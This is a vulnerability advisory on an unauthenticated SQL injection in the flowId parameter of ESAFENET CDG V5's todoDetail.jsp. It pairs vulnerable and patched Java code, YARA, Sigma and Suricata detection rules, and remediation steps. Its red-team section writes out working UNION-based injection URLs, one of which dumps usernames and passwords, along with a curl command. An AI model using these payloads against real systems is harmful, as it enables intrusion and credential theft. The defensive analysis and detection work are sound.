CVE-2025-0793
Executive Summary
CVE-2025-0793 is a critical unauthenticated SQL injection vulnerability in ESAFENET CDG V5, specifically within the /todoDetail.jsp endpoint. The flowId parameter is directly concatenated into SQL queries without sanitization, allowing remote attackers to execute arbitrary SQL commands. This can lead to full database compromise, data exfiltration, and potential lateral movement within the network. The vendor has not responded to disclosure, and no official patch exists. Public exploit code is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based web application (ESAFENET CDG V5). Organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential for denial of service via SQL manipulation.
Base Score: 9.8 (Critical)
Threat Level: Critical – Immediate action required.
Deep Dive & Mechanics
The vulnerability resides in the todoDetail.jsp page, which processes the flowId parameter. The application fails to validate or sanitize user input before embedding it into a SQL query. An attacker can inject SQL commands by appending malicious payloads to the flowId parameter.
Example vulnerable code snippet (conceptual):
String query = "SELECT * FROM todo WHERE flowId = " + request.getParameter("flowId");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
This allows classic SQL injection techniques such as UNION-based extraction, error-based inference, or time-based blind injection. The database backend is likely MySQL or Oracle (common in ESAFENET products).
Attack flow:
- Attacker sends a crafted HTTP GET request to
/todoDetail.jsp?flowId=1 UNION SELECT ... - The injected SQL executes with the privileges of the database user (often
saorroot). - Data is exfiltrated via the HTTP response or through out-of-band channels.
Vulnerable vs. Patched Code
Vulnerable Code (conceptual):
String flowId = request.getParameter("flowId");
String sql = "SELECT * FROM todo WHERE flowId = " + flowId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
Patched Code (recommended):
String flowId = request.getParameter("flowId");
String sql = "SELECT * FROM todo WHERE flowId = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, flowId);
ResultSet rs = pstmt.executeQuery();
The fix uses parameterized queries (PreparedStatement) to separate SQL logic from data, preventing injection. Input validation (e.g., whitelisting numeric values) should also be applied.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running ESAFENET CDG V5 with
/todoDetail.jspaccessible. - No authentication required.
Exploit Steps:
- Identify the vulnerable endpoint:
http://target/cdg/todoDetail.jsp?flowId=1 - Test for SQL injection using a simple payload:
If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.http://target/cdg/todoDetail.jsp?flowId=1' - Extract database version:
http://target/cdg/todoDetail.jsp?flowId=1 UNION SELECT @@version,2,3,4-- - Enumerate tables:
http://target/cdg/todoDetail.jsp?flowId=1 UNION SELECT table_name,2,3,4 FROM information_schema.tables-- - Dump credentials:
http://target/cdg/todoDetail.jsp?flowId=1 UNION SELECT username,password,3,4 FROM users--
Example curl command:
curl -v "http://target/cdg/todoDetail.jsp?flowId=1%20UNION%20SELECT%20@@version,2,3,4--"
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/todoDetail.jspfor abnormalflowIdparameters containing SQL keywords (UNION,SELECT,--,',OR,AND). - Use WAF rules to block SQL injection patterns.
- Enable database query logging to detect anomalous queries.
Mitigation:
- Immediately apply input validation and parameterized queries if source code is accessible.
- If patching is not possible, restrict network access to the CDG application using firewall rules.
- Deploy a Web Application Firewall (WAF) with SQL injection signatures.
- Monitor for outbound database connections from the application server.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/todoDetail.jspwithflowIdcontaining SQL metacharacters (',",--,#,/*). - Unusual response sizes or error messages containing SQL syntax.
- Outbound connections from the database server to unknown IPs (data exfiltration).
File IOCs:
- Modified log files (e.g.,
access.log,error.log) showing SQL injection attempts. - Temporary files created by SQL injection tools (e.g.,
sqlmapoutput).
System IOCs:
- Unexpected database user activity (e.g.,
saorrootexecuting queries from the web server IP). - New database users or privileges created.
Detection Engineering
YARA Rule
rule CVE_2025_0793_SQLi_FlowID {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0793 in ESAFENET CDG V5"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0793"
strings:
$s1 = "/todoDetail.jsp" nocase
$s2 = "flowId=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "'" nocase
$s6 = "--" nocase
$s7 = "OR" nocase
$s8 = "AND" nocase
condition:
$s1 and $s2 and (any of ($s3,$s4,$s5,$s6,$s7,$s8))
}
Sigma Rule
title: CVE-2025-0793 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG V5 /todoDetail.jsp
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "/todoDetail.jsp?flowId="
- "UNION"
- "SELECT"
- "'"
- "--"
- "OR"
- "AND"
condition: selection
falsepositives:
- Legitimate use of flowId with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0793 SQL Injection Attempt"; flow:to_server,established; content:"/todoDetail.jsp"; http_uri; content:"flowId="; http_uri; pcre:"/(UNION|SELECT|'|--|OR|AND)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the CDG V5 application from the internet and untrusted networks.
- Apply virtual patching using a WAF to block SQL injection patterns.
- Review access logs for signs of exploitation.
Long-Term Fixes:
- Upgrade to a supported version if available (vendor unresponsive – consider migrating to an alternative solution).
- Rewrite the vulnerable code to use parameterized queries (PreparedStatement).
- Implement strict input validation (e.g., allow only numeric values for
flowId). - Conduct a full security audit of the application.
Compromise Assessment:
- Check for unauthorized database access or data exfiltration.
- Rotate all credentials stored in the database.
- Monitor for lateral movement from the application server.
Valters IT – DevSecOps & Cyber Threat Intelligence